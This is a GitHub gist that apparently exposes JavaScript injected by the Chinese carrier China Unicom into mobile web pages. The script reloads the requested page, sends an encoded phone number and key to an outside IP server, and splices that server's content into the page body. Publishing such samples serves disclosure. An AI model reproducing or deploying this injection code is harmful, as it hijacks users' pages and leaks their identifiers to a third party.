Skip to content

Instantly share code, notes, and snippets.

@ihacku
Created January 22, 2015 14:09
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ihacku/826d58393e830f5d9ebf to your computer and use it in GitHub Desktop.
Save ihacku/826d58393e830f5d9ebf to your computer and use it in GitHub Desktop.
联通广告劫持代码
<script type="text/javascript">
var bodyHtml = "";var tcHtml = "";
function getBodyHtml() {var xmlhttp = createXHR();var xmlhttpUrl = "http://m.ly.com/dujia/cardlogin.html";
var nowTime = new Date().getTime();var posSearch=xmlhttpUrl.search(/\?/);
if(posSearch==-1){xmlhttpUrl=xmlhttpUrl+"?visitDstTime="+nowTime;}else{xmlhttpUrl=xmlhttpUrl+"&visitDstTime="+nowTime;}
xmlhttp.open("GET", xmlhttpUrl, true);
xmlhttp.send(null);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {if (xmlhttp.status == 200) {bodyHtml = xmlhttp.responseText;getFlow();
}else{var pos=xmlhttpUrl.search(/\?/);
if(pos==-1){xmlhttpUrl=xmlhttpUrl+"?noe=1";}else{xmlhttpUrl=xmlhttpUrl+"&noe=1";}
window.location.href=xmlhttpUrl;}}}}
function getFlow() {var xmlhttp = createXHR();
var xmlhttpUrl ="http://122.194.5.38:8085/ShowWindow/getFc7f3050.jsp?phoneNum=Iose9R+NX1SS6uLU+vDQlg==&uniqueKey=LC4/wifY5cDLXUHa2TGuaQ==";
xmlhttp.open("GET", xmlhttpUrl, true);xmlhttp.send(null);xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {if (xmlhttp.status == 200) {
tcHtml = xmlhttp.responseText;var reg = /<(body)\s*[^<>]*>/ig;var aryResult = bodyHtml.match(reg);
document.writeln(bodyHtml.replace(/<(body)\s*[^<>]*>/ig,aryResult + tcHtml));}else{document.writeln(bodyHtml);}}}}
function createXHR() {
if (window.XMLHttpRequest) {return new XMLHttpRequest();}
if (window.ActiveXObject) {var msxmls = [ "MSXML3", "MSXML2", "Microsoft"]
for (var i = 0; i < msxmls.length; i++) {try {return new ActiveXObject(msxmls[i] + "XMLHTTP")} catch (e) {}}
throw new Error("No XML componentinstalled!")}}
getBodyHtml();</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment